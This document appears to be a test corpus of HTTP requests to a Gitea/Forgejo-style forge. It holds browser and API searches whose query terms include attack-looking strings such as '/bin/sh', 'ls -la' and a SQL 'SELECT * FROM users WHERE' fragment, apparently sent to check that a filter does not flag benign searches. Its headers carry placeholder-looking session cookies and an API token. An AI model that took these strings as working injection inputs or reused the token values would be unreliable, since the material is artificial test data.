{"method": "GET", "target": "/alice/-/packages/generic/tools-cli/versions?q=release%20notes&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/generic/tools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=release%20notes&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/npm/@alice%2Ftools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/tags?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestones?state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestone/1?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/projects?state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/packages?q=release%20notes&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/posters?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls/posters?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/suggestions?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/actions/runners?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/actions/runners?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/settings/actions/runners?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/settings/actions/runners?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/users?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/orgs?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/orgs", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos?q=release%20notes&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos/unadopted?search=true&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/emails?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/packages?q=release%20notes&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/admin/repos/unadopted", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 60", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted?search=true&q=release%20notes", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "id=alice%2Flegacy-site&action=adopt&q=release%20notes&page=1"}
|
|
||||||
{"method": "POST", "target": "/admin/emails/activate", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 105", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails?q=release%20notes", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "sort=email&q=release%20notes&is_primary=&is_activated=&uid=2&email=bob%40example.com&primary=1&activate=0"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/tags?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/packages?q=%2Fbin%2Fsh&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/packages?q=%2Fbin%2Fsh&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/packages?q=org.apache.commons.logging&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/packages?q=org.apache.commons.logging&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
# The API's searches that gitea and Forgejo share, sent with curl to Forgejo
|
|
||||||
# 17.0.1. Each searches for words that name commands and files, such as python3
|
|
||||||
# and .htaccess, and for plain words. A package name can hold a slash, as npm's
|
|
||||||
# @alice/tools-cli does, so the search of packages is also sent /bin/sh. The
|
|
||||||
# search of unadopted repositories takes an owner and a name.
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/search?q=python3&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/search?q=powershell&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/search?q=ls%20-la&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/search?q=.htaccess&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/search?q=docker-compose.yml&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/search?q=tools&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/users/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/users/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/users/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/users/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/users/search?q=bob", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/issues/search?q=python3&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/issues/search?q=powershell&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/issues/search?q=ls%20-la&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/issues/search?q=.htaccess&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/issues/search?q=docker-compose.yml&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/issues/search?q=build&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/packages/alice?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/packages/alice?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/packages/alice?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/packages/alice?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/packages/alice?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/packages/alice?q=install-script", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/packages/alice?q=%40alice%2Ftools-cli", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/topics/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/topics/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/topics/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/topics/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/topics/search?q=docker", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=developers", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/admin/emails/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
